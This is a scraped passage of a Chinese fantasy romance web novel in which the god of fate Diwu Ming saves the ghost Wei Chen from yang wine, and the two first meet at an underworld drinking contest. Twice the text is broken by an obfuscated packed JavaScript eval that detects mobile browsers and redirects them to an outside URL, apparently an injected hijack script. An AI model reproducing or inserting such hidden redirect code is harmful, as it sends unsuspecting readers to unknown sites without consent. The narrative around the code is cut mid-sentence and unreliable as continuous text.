抬头,第五茗终于从她的“佳作”上挪开眼,朝前巡视。 眼前一幕,刺入她的眼里。 隗晎一手持茶壶,一手持琉璃盏,嘴角挂了一滴茶壶内的琼浆,浆液下是慢慢引燃的小鬼魂魄。 倏地,第五茗眉头一拧,意识清醒了两分,说话不再断断续续,急忙道:“这是城隍献贡的茶壶,里面装了人间阳酒,隗七!你拿错了!!饮了多少?!!” 隗晎手中琉璃盏滑落,他一手半撑在桌案上,整个身子靠在桌边,痛苦地举起茶壶,道:“一…一盏。” 与此同时,阳酒的威力变大,隗晎浑身乏力,那茶壶从他手中脱落,第五茗身姿敏捷地徒手接住,没让茶壶内近十坛的美酒,倾洒在隗晎身上。 再瞧隗晎,他身体除了左臂上刚涂染的墨青,此时,从头到脚都是不正常的红,好几处沾了阳酒的地方,已经滋滋冒火,好像再有一瞬,整个人也都会全部烧起来。 隗晎抱头晃脑,面容痛苦,嘴里慢慢地有了撕扯的低喊声。 他很热。 他还很痛。 全身好似要炸裂。 脚下趔趄,他思绪恍惚,一头栽进了第五茗怀里,彻底倒了。 第五茗愣愣地看了眼手中的茶壶,另一只手没有闲着,在酆小洪倒进她怀里的那一瞬间,立即渡了法力,帮隗晎降下身体的温度。 今日,第五茗太气恼了。 不然,她也不会把这么危险的东西,粗心大意地,直接放在案桌上。 长叹一声,第五茗把茶壶放回桌上时,余光瞟见了那份伶人的命格簿子,放茶壶的动作一顿,舔唇道:“本君可不是轻薄你啊,本君是为了救你…这法子最快,于你,损伤最小,于本君,这事更好解决。” 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758859|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五茗半俯身,朝怀中的人头慢慢靠近… 不行啊!! 第五茗退了回来,她又看了两眼那本簿子,加油打气后,俯下身… 这种事,竟是这般不好做?!! 第五茗摇了摇头,眼见怀里人留给她的时间愈发变少,她坚定地垂头而下… 第一次,难免胆怯。 第五茗有些为难,内心焦急,不自觉四处搜寻,瞥见刚刚放下的茶壶,心中有了注意… 酒壮怂人,试试?!! 放茶壶的手又握了上去,咕咚咕咚,第五茗把茶壶里的阳酒全喝进了肚子里,内心鼓气道:没什么没什么…就当做一回伶人,救小鬼一命。 好人好事,积善积德… 神明慈悲,不拘小节… 她青袖一挥,大散法力,加强周围的结界,醉眼朦胧,在隗晎脸上找了半天,终于找到了那两片软软烧烧的唇瓣,轻轻地贴了上去… 双方淡淡地贴在一起,没有更多的动作。 虽只是这样,却让只写过故事,没有经历过故事的第五茗,心口剧烈地开始跳动。 十坛阳酒,足以让她醉睡过去了。 第五茗脑袋发昏,身子摇晃,强撑思绪,在不停地胡思乱想:原来…这就是亲吻? 没什么奇特的嘛。 隗七的唇倒是软的,就是太烫了些…算了,以后让他先含一些冰块,再行此事吧。 若是再湿润些就好了,咬起来应当很好玩。 阳酒喝太多,这一回都没力气试一试…好可惜啊,下次一定…一定… 诶?老司命他们教写情欲本子时,说的伸进去、含住、揉搓…这些该怎么做? 完蛋!! 活了几万年,今日才发现,竟只懂得理论,不知实操!!糊涂啊…临到用时方恨功!!! 气人!!! 下次一定要先去人间看看那些凡人怎么做的!! 算了…让隗七去学得了… … 第五茗分毫未查,思绪已经发散到不可收拾的地步。 不多时,她俯身低头,抵抗晃荡,脖子开始酸疼,一手腾抽空施法,把隗晎扔上了桌案,让他睡在了一堆命格簿子之上。 随后,她骑身而上,额头抵额头,嘴唇一刻不离,一丝一丝地,将隗晎身体里的阳气从他口中“掏”出来。 许是这个姿势太像是在睡觉了,第五茗脑袋越发的昏沉,心里默念打气道: 一盏阳酒,十人阳气。 别停…别停… 唉… 好困啊… 好想睡觉。 隗晎身体里的阳气,一点一点消失,体温慢慢冷下,他的意识渐渐地清醒。 睁开眼,他五感尽归,眼前一片朦胧,正在适应屋内的光线,是以醒来后,他最先感受到了身上的重量,和浑身火烧的灼热在从口中抽离。 他推了推身上的“东西”,没动。 他收回手,从夹缝里,用两指让眼睛恢复清明… 嘴唇上湿凉的接触,和眼前紧密相对的脸,让他浑身一震。 他不敢乱动,任由第五茗缓缓地、柔柔地在他唇上,带走他身体里的燥热。 须臾,结界内,那只有一道剧烈跳动的心音中,又加入了另一股猛烈的震鼓——他的心不知为何配合地舞动了起来。 隗晎紧紧闭上眼皮,祈祷现下这一切,都是他眼花,做的梦。 事实就是事实,怎能是一场“梦”就能囫囵而终。 轻颤的睫羽,紧握的双拳,绷直的身体,僵硬的嘴唇,冉冉无形,来自心底的真实想法,让他在第五茗沉睡中,先跨进了一步。轻启唇瓣,无师自通,撬开了第五茗的双唇。 浅浅地尝了又尝,贪婪地不愿离开,隗晎偷取了不少醉人的甘甜,当他反应过来时,早已醉得不醒人士,和第五茗一样,沉沉陷入梦中。 不同于隗晎的美梦,这场醉酒中,第五茗做的三场梦,虽然都是关于隗晎的,却不似他那般,见不得人。 - 第一场梦,是第五茗与十七人初次相遇。 那一日,他们闯进司命府门,第五茗简单询问几句后,就放人离开了,所以对这几人并无太多记忆。 唯一有点印象,便是隗晎不畏神鬼,挺身而出,小小身子装出一副大人模样,维护一位瓷娃娃样的小姑娘。 第二场梦,是第五茗去野鬼村买茶酒,在酒肆前,偶遇隗晎和马面比拼酒量。 那场景,第五茗实在记忆犹新。 六天宫有一处极其热闹的地方,路过那里的小鬼,时常能见到一张两丈一寸长的大木桌,而那木桌的两方长边上,经常分别趴了七八只小鬼,两端却是空空的,桌头各自放了一只孤零零的小茶壶。 这便是传说中的“鬼命”桌。 茶壶里装的不是茶水,是茶酒。 桌上醉睡的小鬼,正在以酒见体魄。 何为鬼命桌? 小鬼又为何要以酒见体魄?! 这当中其实有一个渊源… 曾经,小鬼就是小鬼,没有区分。 六天宫人少事多,很多时候阴差会拉小鬼去帮忙。 好巧不巧,就有那么一只鬼差,选了一只体魄差劲儿的小鬼去干活儿。又巧上加巧,那只小鬼干了一件送东西的小事,承受不住东西上的灵气,在一位下界巡视的上仙面前,飞散化尽。 上仙慈悲啊,第一次见生灵因为一件小事,从此归为虚无,心下动容,留下以酒见体魄的法子,特地央了当任东岳帝君,对六天宫上下进行教化,让在位者,只能择身强体壮的小鬼去干活,不得枉顾生灵性命。 久而久之,酒肆旁的长桌就变成了筛选小鬼的地方。 是以阴差们要搜罗身体抗造的小鬼,便会来这里。 他们让被相中的小鬼坐上长桌,喝酒喝到昏睡,在小鬼倒下那一刻,给小鬼挂上闭眼的时辰,小鬼睁眼后,由酒肆的小鬼计数,核算鬼身解酒解阳气的时间。 当然,这其中不乏主动自证体魄的小鬼,他们一般都不是自由身,这些小鬼的目的也很简单,只为了能向阴差们谋取一差半事,以便在地下生活得更顺坦一些。 通常,茶壶里的酒还没消耗上两坛,桌上的小鬼就会昏睡。好一点的体魄,一日之内就会醒来,差一点的,最多两三日。 假使睡上了三日以上,那这小鬼体魄便算是极差,是鬼中“秀才”,连兽魂见了都会嫌弃。 此时,鬼命桌里三层外三层地围满了幽魂阴差,唧唧咕咕,人声鼎沸。 “他还没倒下…” “厉害哟!!” “鬼差大人倒了!!!” “倒了?!” “上第十壶?” “第十壶啦…” “绝对是“状元”!” 不同于其他人的大声嚷嚷,或者兽魂、灵体之类的奇怪声音,一个稚嫩孩童,淡淡道:“上酒吧。” 79. 散阳误惹一鬼心2 话落,从鬼堆里挤出一只断臂,它臂端的切口,稳稳当当地放了一只城隍茶壶,五指在地上快速地挪动,朝酒肆里奔去,正好撞上了同样手提茶壶来打酒的第五茗。 那断臂仿佛长了眼睛,在第五茗裙角一厘的地方刹出了一阵烟,登时,酒肆棚子里传来一道高昂激扬的声音,道:“真君,酒又喝完了。” 那是酒肆老板。 他端坐在案前,手脚都不见了,独留身子和脑袋,身下有一个瓦罐,不是没盖的尸瓮,是一个圆圆扁扁的特制酒坛子。他嘴里叼的打酒筒,像一只烟斗,一上一下。 第五茗懒洋洋道:“是啊…茶酒不经喝啊,不醉人,本君这几日都没睡好觉。” 她面前运茶壶的手臂,在酒肆老板的催促下,绕了一个弯,跑进了棚子里。 那酒肆老板嘴中打酒筒,一下一坛酒,一上一坛空,空坛自动滚进了他身下的瓦罐中。 此时,一只腿又运来一坛满酒,他再次落下打酒筒,一坛又空。 他就这么一上一下了十次,茶壶酒满,那断臂左拐右拐,飞快地绕过进了棚子的第五茗身旁,直奔鬼命桌。 另一只断腿,有条不紊,似一个稳重的老大哥,顶来十坛红封酒坛。 酒肆老板道:“上面来了一批阳酒,真君拿去尝尝?” 第五茗笑道:“一坛阳酒,兑百缸雪水,再窖藏十年,便能出一批茶酒…” 手上茶壶放在酒肆老板打酒筒下后,她粲然道:“叫本君拿走十坛,多不好意思啊。” 酒肆老板但笑不语,眼睛有神,紧盯第五茗。 只见青衣袖口处,漏出一只葳蕤,指尖轻点,一阵流光从酒肆老板身上走过,他感恩道:“多谢真君。” 第五茗道:“还是老样子,本君替你这断手断腿的小鬼清一清衣衫,去一去污秽,若还有什么需求,随时说与本君听。” 酒肆老板面上喜悦,道:“真君,我身上挡阳酒的咒印快磨没了,我罪罚之身,找大人们申请,还得有些时日,真君若是今日方便的话,可否赐我一道?” 第五茗点头道:“好说。” 一道金罩落在了酒肆老板身上。 酒坛上红封自启,打酒筒再度开始一上一下。 酒水汀汀,第五茗甚是欣喜。 与此同时,那鬼命桌旁,天上飞的,地上站的幽魂,声音一阵高过一阵,生生欺压了茶壶中的酒落音。 第五茗蹙眉,侧头望了过去,随口问道:“那桌上出什么事了吗?今日怎么围上了如此多的鬼。” 酒肆老板道:“真君有所不知,桌上主动坐了一只来地府有百年的小孩鬼,身量小,体格却是非凡,这已经是第十壶酒了。” 壶? 第五茗忍不住在心里吐槽:打酒小鬼的嘴也没被分砍,怎么说话老是嘴瓢… 回头,她眼守桌上的茶壶,不经意道:“十坛酒没醉,何至于引来这么多小鬼凑热闹,当真是太久没见过世面了?你们就该多和我一起去听听新来小鬼的故事,听得多了,便知道天上地上的仙和人,如今都厉害到什么程度了。” 这番调侃,酒肆老板未恼,他骄傲道:“真君,是桌上的城隍茶壶,方才送去了第十壶。” 打完一坛阳酒,他抽空朝那方瞧了一眼,满眼赞许,回头,不敢耽误地继续为第五茗打酒,道:“这阵仗,估计难得醉下去。” 第五茗吃惊道:“还能有鬼身饮上百坛茶酒?莫不是他修炼了魂命?” 酒肆老板摇头道:“我不知。” 第五茗微眯眼眸,道:“你不知道?” 酒肆老板苦涩道:“今日因他来,手和脚都忙得不可开交,真君知晓的,我没手没脚,就走不出这里。” 倒是真话。 就这一会儿,双手和双脚,自第五茗来后,便没有停歇过片刻。 第五茗点点头,揣起双手,拢在青袖中,闲庭信步地朝桌子旁走去,留下一话,道:“你先打着,本君去瞧瞧。” 酒肆老板道:“是。” 六天宫时期,地下比较混乱,入了鬼门关的小鬼是可以随意出入,在野鬼村和第六天宫来往走动,是以整个地下,鬼差和小鬼,随处可见,姿态随意散漫。 此时,鬼命桌两边照常趴着七八只小鬼之外,另一头,一位马面栽倒在桌上,歪七扭八,除了脖子上没挂有时辰牌子,浑身乱糟糟的,根本瞧不出来像是有魂命的鬼仙。 他面前,还有一只和他一样东倒西歪的茶壶,茶壶盖被扔在老远的桌子中间,得亏茶壶口没有茶酒溢洒,不然就浪费了,当是会让酒肆老板心疼一番。 两人拼酒,围上了数不清的幽魂,抠鼻屎的黄牛壮汉,前凸后翘的美艳女鬼,怯怯懦懦的老头…“各式各样”、“奇形怪状”,男的、女的、雄的、雌的,老的、少的、丑的、美的,天上飞的,地上跑的,连那水里游的,都带了一个蓄水头颅,凑到这里看热闹。 桌边挤了太多鬼,见缝插针地围着,第五茗来得迟,站在最外一层,踮起脚,无论如何插缝找空隙,皆看不见里面的具体情况。 更别说是瞧一瞧此间的当事鬼… 小孩鬼和马面的头发丝,她是一缕都没见着,完全被眼前的鬼墙,挡了个严严实实。 第五茗顿了顿,轻咳两声,道:“咳咳咳,让一让…” “且让本君也看一眼。” 一只蜜蜂嗡嗡嗡转了头,瞧见是第五茗,嗡嗡嗡地,它没横挪位置,向上多飞了半丈,腾出一人高的距离。 第五茗仰头,又低头,尴尬地道:“本君不是让你挪开,你还没那么碍事。” 蜜蜂嗡嗡嗡地,飞回原处。 一瞬,第五茗朝前道:“本君说让你们让一让,你们倒是让一让啊…” 鬼群中,尖叫呐喊,震耳欲聋,她的两句话,淹没在其中。 顿促片刻,第五茗无奈地伸手拍了拍身前几只小鬼的肩膀。 这几只没回应… 第五茗一贯大度,换了一个位置,寻上一个方向,拍了拍几只鬼的肩膀… 仍旧没有回应。 凑热闹,当然是一视同仁。 第五茗再挪了一个位置,拍了拍… 那些鬼兴奋上头,哪里听明白身后人的话,又哪能理会第五茗的打扰。 况且,这中间有些是没入鬼门关的小鬼,他们根本就不知道第五茗是六天宫的何许人也,所以,无一例外地,都推开了她的手。 第五茗的耐心足…又换了一个位置。 这一次,这几只鬼,脾气有些不好,头也不回地,嘀咕道:“排队排队!!” “管你这君那君本君的,看戏排队。” “占不到好位置,就自己砍了头,挂别人身上看呗。” “去去去…我好不容易挤进来的。” 得了阳酒,第五茗心情甚好,没有想过要责备他们,却是因为这几句话,磨掉了换地方找位置的耐心。 她积极解释道:“本君不叫这君,也不叫那君,不过…本君倒是还有一个名字,你们想不想听一听?” 一片吆喝声起,原是里面喝酒的小鬼,刚刚身子晃了一下。 第五茗面前的那几只小鬼,跟着起哄完后,煞是有“礼貌”,不忘回话道:“去去去…” “不想听!不想听!!” “就是叫阿猫阿狗,皇帝公主,你来了这,也就叫鬼。” 阿猫阿狗?! 鬼?? 满满的嘲讽,毫不掩饰的讥诮,第五茗若还不生气,那就是她有病了。 不过,第五茗是打心底里同意这几人的态度和说法,的确到了地下以后,以前故事中赋予他们的一切,皆无非是虚妄。 他们都是鬼。 可是!! 第五茗不是来和他们理论真理的,她嘴角一挑,道:“不想听也得听,本君另外一个名字叫…不讲理。” “不讲理??” “什么不讲理?” “切~这名字真难听…哎哟!!” “啊…” “怎么回事?” “疼死了。” “呀哟喂…” “…” 围在桌子旁的数层幽魂,连带飞上天的那只蜜蜂,无一幸免,在平地而起的大风中,一起叠摔在地上。 说时迟,那时巧,桌上的马面此刻醒了过来,见第五茗一人青衣蹁跹,揣手站在倒地幽魂的身后,起身上前,恭敬道:“下官见过真君。” 听了这一语,那些从鬼门关出来,此时认出第五茗的小鬼们,一起翻身匍匐,连连抱手,前后不一道:“见过真君。” 那几只“猖狂”的小鬼,吃痛道:“哎哟…不是叫“不讲理”吗?怎么叫“真君”了?” “笨!!她姓“君”…” 想起最开始听见第五茗说的话,一只鬼胡言乱语道:“还真姓“君”啊…” 小鬼摔糊涂了,连姓和名,以及称谓都傻傻分不清楚。 其他小鬼忙着呼痛,根本没工夫去埋怨第五茗。 小鬼受难,是阴差收揽鬼心的好时机,马面挺身而出,伸张正义道:“真君…这般行事,仗势欺鬼,太没爱心了。” 第五茗喃喃道:“本君不想的,他们不让道。” 马面道:“合算其原因,是他们不敬,但真君大袖一挥,不问因果,那就是在恃强凌弱。” 平日里太亲鬼,果然不是一件好事。 第五茗一怔,被马面盯得浑身发麻,眼神闪躲,飘到桌边那头端坐看她的小鬼。视线相撞,对方略显局促,手上不慌不忙,抓起桌上的茶壶,挡在脸上。 见状,第五茗歪头一愣,挑眉细细打量了那小孩鬼一阵,心思百转,回头对马面悠悠地辩解道:“错了,本君是鞠躬尽瘁,不怕骂名。” 马面狐疑道:“为公?真君来此是有要事需办?” 不假。 刚刚临时起意,一半算是为公,一半算是好奇。 第五茗伸出一指,方向正是那突然之间身子摇摇晃晃,两耳状若未闻,不参与周围是非,继续仰头喝酒的小孩鬼。 她讪讪地道:“为他。你应当清楚,能饮下十壶茶酒的小鬼,就算没有福泽命数,也合该先拉来给本君相看一眼。今日凑巧是本君到此打酒,若是这小鬼流落到其他地界,你们二人拼酒一事又不幸地传了出去,你今时所行,便算误了差事,上面可是要责罚的。” 有理有据… 还真是公事。 偷鸡不成反蚀把米,马面战战兢兢地跪了下去,道:“他是自己坐上桌的,下官接到禀报就来了这里,不想他酒量惊人,忍不住便比拼了五壶,谁知道…” 第五茗打断他的话,道:“竟是把你自己给灌醉了,还酣睡在此间。” 遇见正事,第五茗不似平日里吊儿郎当的模样,严肃端庄得紧。 马面见了,心里一怵,磕头在地,道:“下官知错,求真君宽恕。” 第五茗捡着地上空隙,走了进去,道:“错了就改。” 马面回过神,立即会意,答道:“这小鬼是百年前来到地府的,名为隗晎。下官今日来之前,问过第一殿了,此人命数寻常,身份也寻常,是浅福乞儿命。生时,未出过人界迎新城以外的地方,死后,老老实实待在第六天宫内,也没有去过其他地界。” 隗晎? 这名字在哪里听过? 难道见过?? 怎会如此耳熟… 两三步,第五茗便走到了喝酒小孩鬼的身边,伸出手,在茶壶壁上敲了两下。 喝酒小孩鬼状似被惊,从茶壶到双手,再又双手至身子,不自然地震了震,方将手中茶壶从脸上移开,漏出迷幻的眼神,瞧向第五茗。 那眸子有神,不像是真的醉了,却是在撞上第五茗审视的目光后,呆愣一滞,继而,随茶壶落在木桌上的响动,一头栽倒在木桌上,闭上眼,“醉”了过去。 原来是他。 第五茗盯着桌上的茶壶,一脸不可置信,道:“可是献祭的那十七人魂?” 马面道:“是的。” 第五茗垂眼,微不可闻地叹息一刹,道:“起来吧,他不是可择之人,想来是经地上一事,魂魄比寻常的小鬼坚毅了些。” 闻言,马面和地上倒下的那一群幽魂,相互看了两眼,纷纷拍打衣上尘土,站了起来。 隗晎的簿子实在是太太太普通了…即便身体有异,百坛茶酒不醉,那也当不得可造之材。 第五茗看了眼装睡的隗晎,转身,头也不回地走到马面身边,道:“想拼酒,可以来找本君嘛…本君正好差酒搭子。” 马面撂嘴皮子,委屈道:“真君方才好大的威风啊,下官怎么敢…” 第五茗急忙道:“唉…你说胡话了不是,咱们这么多年来,大伙儿不都是公对公,私对私嘛,你若是这样就记仇了,那就是你不厚道了啊。” 马面点头,对先前事辩解道:“真君是来晚了,早来半个时辰,看见那阵仗,也会和我一样,莽劲儿都冲上头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769626|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 第五茗面色羞赧,小声嘀咕道:“本君可没莽劲儿,本君那是真性情…” 周围起身了的幽魂线下在讨论这位“真君”,嘈杂四起。第五茗那句话声音太小,马面没听见,自顾自地问道:“真君,你说真有寻常小鬼能喝上十壶茶酒吗?不是说茶酒里兑的是阳酒?只有上乘的魂体才能越快解阳性,这小鬼来了不过近百年,没有修炼,又是乞儿命,还没有功德业力傍身…他看起来,比我们这些鬼仙都厉害…不太对吧?照这架势,俨然是一副上仙体魄啊…” 第五茗口中一噎,胡乱道:“他不是醉了吗?怎么算好了。” 马面后半段话,有些打仙君脸面,她接着嘟囔道:“再说了…哪有仙君十壶茶酒就倒的。另外,这种离奇的事也不是没有,十七只小鬼能引诱魔界全灭,何况是喝十壶茶酒。” 马面点头道:“有道理。” 第五茗仰头睥睨,道:“灭一界之事你都能接受,喝几壶酒而已,何必纠结。” 马面喃喃道:“有道理…” 接着,他又问道:“真君,这只小鬼,我还报给司命府吗?” 第五茗摇头道:“不用了。报来也是浪费本君的时间…” 桌上趴着的隗晎,脑袋缓缓,埋进了双臂里,双眉紧蹙,神色苍白。 他掩在幽魂身后,没有人注意到他,纷纷盯向马面这边。只见马面敷衍应道:“哦…” 酒肆棚子下,酒肆老板的打酒筒朝桌边“招手”,酒肆老板喊道:“真君,酒灌好了。” 第五茗从不摆架子,毫不在意周围一直在指指点点的幽魂们,嗓门极大,回道:“来了来了…” 迈开步子,走出幽魂们给她让出的一条道,想起什么似的,不忘转头对马面邀约道:“得空了,就来司命府吧,本君与你拼酒。” 顿了顿,她补充道:“不占你便宜,我饮一壶阳酒,你喝五壶茶酒就行。” 听闻“阳酒”二字,幽魂们心头一震,后退了一步,由第五茗离开的方向,那一条路变得更加宽阔。 路的尽头,是那埋头闭眼的隗晎。 第五茗眼神一闪,莫名地被他小小的身影吸引。 她余光之处,是幽魂对“真君”见而生畏,避之不及的目光,而视线尽头,没有一丝眼神,她却觉得,对方目光炙热,让她有些难受。 第五茗回头躲避。 只听得,马面在她身后,不如先前般如履薄冰,语气毅然决然,拒绝道:“不去不去,真君的司命府杂乱不堪,连下脚的地方都没有,万一真君先喝醉了,倒霉的就又是我了。” 第五茗心思早不在马面身上,单手拎起断臂奉来的茶壶,随意点头道:“好好,随便你。” 转而,对酒肆老板道:“本君这就回去尝一尝,若是味道鲜美,再来夸赞你。” 来时,第五茗是用脚优哉游哉走到酒肆的,此刻提了酒,心神恍惚,打道回府时,第五茗却是迫不及待地掐了一个小诀,瞬息回了司命府的软榻上。 第五茗走了,酒肆这边更热闹了。 方才,倒下的隗晎,在她身影消失的一刹那,端端正正坐了起来。 隗晎扫了一眼身旁,那没来得及给他脖子上挂时辰牌子的小鬼,转头对马面道:“大人,我拼酒赢了,喝下十壶酒的同时,不到半刻便醒了酒,魂体应该是还算坚毅。现在能否从您这里讨要一份差事了?” 马面未答,瞧了一眼隗晎,又睨了眼计时小鬼。 计时小鬼一愣,僵硬道:“大人,您是在这儿看着他睡、看着他醒的…这事,小的没话可以说啊。” 计时小鬼高举手中的时辰牌子,围观幽魂哗然,他提高音量,嘟囔道:“牌子还没挂上呢…” 马面嘴角抽搐道:“本官没让你说话,看你一眼,瞧把你吓的。刚刚真君来,怎么没见你胆子这么小呢。” 六天宫,司命真君好惹,阴差却不好相与。计时小鬼紧抿双唇,不反驳,不辩解,静默不语。 隗晎起身,朝马面走去。 马面坐回桌边,端起官架子道:“说吧,主动来这里自证,想来是有打算去的地处。” 隗晎站定,浅笑道:“大人睿智。我生来喜好酒香,但我们十七人因为所遇之事,不能像其他幽魂可随意进出鬼门关,鬼门关内的第六天宫处处严谨,大人们每日繁碌操劳,很少有时间饮酒休憩。我知司命府真君是一位喜好饮酒的上仙,不知我可否去真君身边随侍?” 马面震惊道:“司命真君?” 小鬼们七嘴八舌道:“真君?”“这又是哪位真君啊?!”“地下这么多天上的大仙?”“不会是方才那位吧…” 马面沉思,问道:“适才醉过去前,可看见一位青衣上仙?” 隗晎面不改色,道:“没有。” 小孩稚气的脸庞,一脸坦诚,纯然不像是在撒谎。 马面神色缓和,道:“你这想法,本官倒不是不能应允,但本官做不了司命府的主,却是可以许你去一次,至于真君留不留你…本官便不知了。” 隗晎双手抱拳,道:“如此已经是极好,多谢大人。” 凡是来了六天宫的小鬼,探知到司命上仙驻扎地下的任务后,都会千方百计地想去接近第五茗。 像隗晎这种,主动请缨,想要去接近第五茗的,不在少数。 马面早已习惯。 只是,太凑巧了,马面受蛊惑参与拼酒时,无意间让第五茗对隗晎打上了眼,不得不让马面留了一个心眼,多问了一句。 得知隗晎不认识第五茗,那事情就好办了。 安排一个小鬼去打扫司命府的权利,马面还是有的。 因为,六天宫的司命府邸,在第五茗经历过太多小鬼骚扰后,她换了一个思路,把府门下了一个白日敞开的禁制,大大方方地让那些小鬼随时来观望… 观望她府门内的杂乱。 观望她的闲散。 观望真君司命,却从不救命的狠心。 马面把隗晎领到司命府时,门口酒气冲天…涌出的还是小鬼不喜的浓烈阳酒味。 因此,今日的司命府门口,没有小鬼围堵偷看。 阴差虽有魂命,却和做鬼喜好无异,不喜阳酒味。 马面站在门外,捂住鼻子,皱眉厌弃道:“别怪本官没提醒你啊,进去别乱碰,你若是馋酒,就向真君讨要,不要私自偷喝,她府内藏了许多阳酒,另外,司命府内有许多重要的文书簿子,最好也不要碰!” 隗晎点头道:“是。” 80. 散阳误惹一鬼心3 第六天宫的司命府,说是司命府,其实只是一间大屋子。 屋子四面,一面开门,一面放床榻,两面放书架。书架上没有书,甚至连纸都没有一张,本应该在上面的东西,全堆积在屋子正中间那张大方桌上。 哦…不对。 第五茗惯常待的软榻上,还扔了两排书簿。 脏乱不堪,邋里邋遢… 好在除了酒气,没有别的异味。 隗晎鼻尖充斥萦绕阳酒的灼烧,在司命府内,他走一步,弯腰捡起脚边的几本簿子,等到了方桌旁时,怀里摇摇欲坠地抱了一摞簿子。 他在桌上腾出一个空地儿,把东西放下。 从入门开始,他的每一个动作,都特意弄出很大的动静。 然而… 屋子内的主人,并没有给他回应。 四四方方的房间,异常安静,等了一小会儿,隗晎终是做出了下一步举动,他透过垒起的书山缝,偷瞧了眼软榻上“酩酊大醉”的第五茗。 他无奈,侧身绕出方桌,行上一个拜仙礼,道:“隗晎见过真君。” 第五茗一脚搭在软榻上的簿子上,一腿在软榻沿边一晃一晃,侧躺撑头,嘴角缓缓翘起,半睁目,看了眼屋中人,感叹道:“你这么快就醒了,身体可真好,当得在“状元”前加一个大字。” 隗晎谦逊道:“真君过赞了。” 第五茗自言自语道:“不够聪明啊…跑去自证喝那么多酒,就为了到本君这里一趟,着实浪费了。” 不知道想到了什么,她从枕边拿起茶壶,没有要喝的意思,嘻嘻笑出声,调侃道:“小小鬼,大状元,不会醉,却会睡,醒来没事干,跑来司命府做苦差,有意思。” 隗晎见鬼命桌上装醉的事被拆穿,也不掩饰,抿唇道:“鬼差大人遣我来侍奉真君。” 第五茗嗫嚅道:“你们这些小鬼们怎么就不懂呢,有什么心愿去找地藏王菩萨,比向我祈愿,真的要容易许多…” 隗晎不语,不动。 须臾,她长吐一口气,道:“既然入第六天宫已有百年,今日又找到司命府来,自当知道本君与那送酒小鬼的事,你人小,心该是不小的,切莫做糊涂事。可明白本君在说什么?” 隗晎点头,语气软软道:“我先为真君收拾府内?” 第五茗摆摆手,喝了一口酒,懒散道:“随意,爱怎么折腾就怎么折腾吧。” 屋子里,尘烟未起。隗晎埋头拾捡起地上剩余的簿子,一如进来之时,先合上,再收进怀里,连带桌上的那些,不一会儿,就被他整整齐齐,按照书封上的时间码在了书架上。 有条不紊地,隗晎又将桌上的笔墨纸砚,利落归置,把四四方方的屋子,和四四方方的桌子,齐齐扫了一遍,擦了一遍。 司命府焕然一新。 唯独,正对门那处软塌,有人,有簿子,有茶壶,有杯盏,有杂物…一如先前的司命府。 须臾,隗晎轻手轻脚走到软榻前,捧来一杯温过的雪水,道:“真君解解酒,到椅上稍坐片刻,软榻上东西太多,不方便你休息。” 第五茗眸子深邃,有一瞬发愣。 命格簿子上的禁制没有触发,说明没有人擅自窥探命数。 第五茗搞不明白了,但凡六天宫来找她的小鬼,无一不是为了命数,为何隗晎还能安然无恙地站在她屋内。 她想着想着,把手中的茶壶递给了隗晎,接过隗晎递上来的琉璃盏… 有温度。 第五茗惊呼道:“热的?!” 隗晎道:“回真君的话,这是去第一殿烘烤过的热雪水。不过地狱火太热,我在那方待不了太久,水只能到这个温度,虽然不算热,好在也不会太凉。真君入口当不会觉得凉,也正好解酒。” 一口饮尽,温热的雪水确实比刺骨的口感要好上很多。 暖意流入,第五茗得出一个结论:这小鬼挺会伺候人的。 可惜了,再能干的小鬼,第五茗也不需要。 她的府门脏了、乱了,挥挥袖子,施法一霎,就能整理好。 她若是喝酒醉了,顺手掐一个小诀,不仅能立刻躺回榻上,还能顺手把衣衫清理干净… 至于温热的水,不是她得不到,是她懒。 地下没有明火,只有冷焰和炽热的地狱火,第五茗嫌麻烦,便将就着和小鬼们一起吃冷食喝冷饮。 没想到,会让这隗晎留意到。 第五茗暗自赞道:小瞧了,竟是有几分聪明。 心中虽动容,面上却丝毫未露,第五茗低头饮水,小步挪到了桌边的椅子上。 隗晎手脚利索,径自整理起软榻,一炷香的时间,软榻上的东西无影无踪,整个司命府总算是全都收拾干净了。 别说,隗晎心细如发,褥子都被他掸得蓬松柔软。 第五茗看地痴了,直到隗晎站在她面前,她才回过神,顿道:“怎么了?” 隗晎准备再去整理整理书架,瞧见第五茗在看他,路过身旁时,方停了下来。 他没想到,竟是第五茗在走神。 一点都不像一个上仙呢。 隗晎笑了笑,躬身歉礼道:“真君,软榻铺好了。书架上还有几行簿子没排序,我准备去…” 第五茗出声打断他的话,道:“等一下!” 她刚刚在隗晎那一抹笑意中,看见了什么?!! 他一个小孩鬼,竟然把她当小孩了!!! 岂有此理… 第五茗鼓鼓囊囊,站了起来,高出隗晎半截,让对方被迫仰头看向她。 上下打量了几眼,第五茗轻扬下颌,揶揄道:“你身量这般小,做人时又是乞儿,离世年岁看起来不大,当是在地上没学到这些才对,怎么能什么都会?不应该啊…” 这些话,听在隗晎耳力,具是变了一个滋味。 他以为她在夸他。 隗晎一怔,脸色微红,道:“如真君所言,掸褥子、温雪水的法子,都是跟路过的人魂讨教的。 第五茗朝软榻走去,闻言,脚下一顿,不吝夸赞道:“你很聪明。” 隗晎此时也走到了架子旁,开始整理簿子。 忽而,第五茗坐在软榻上,脑中一闪,问道:“可会识字?” 